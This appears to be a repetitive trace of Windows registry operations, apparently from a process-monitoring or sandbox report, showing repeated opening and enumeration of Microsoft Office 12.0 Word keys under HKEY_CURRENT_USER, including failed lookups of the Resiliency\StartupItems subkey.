Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 2
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 2
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
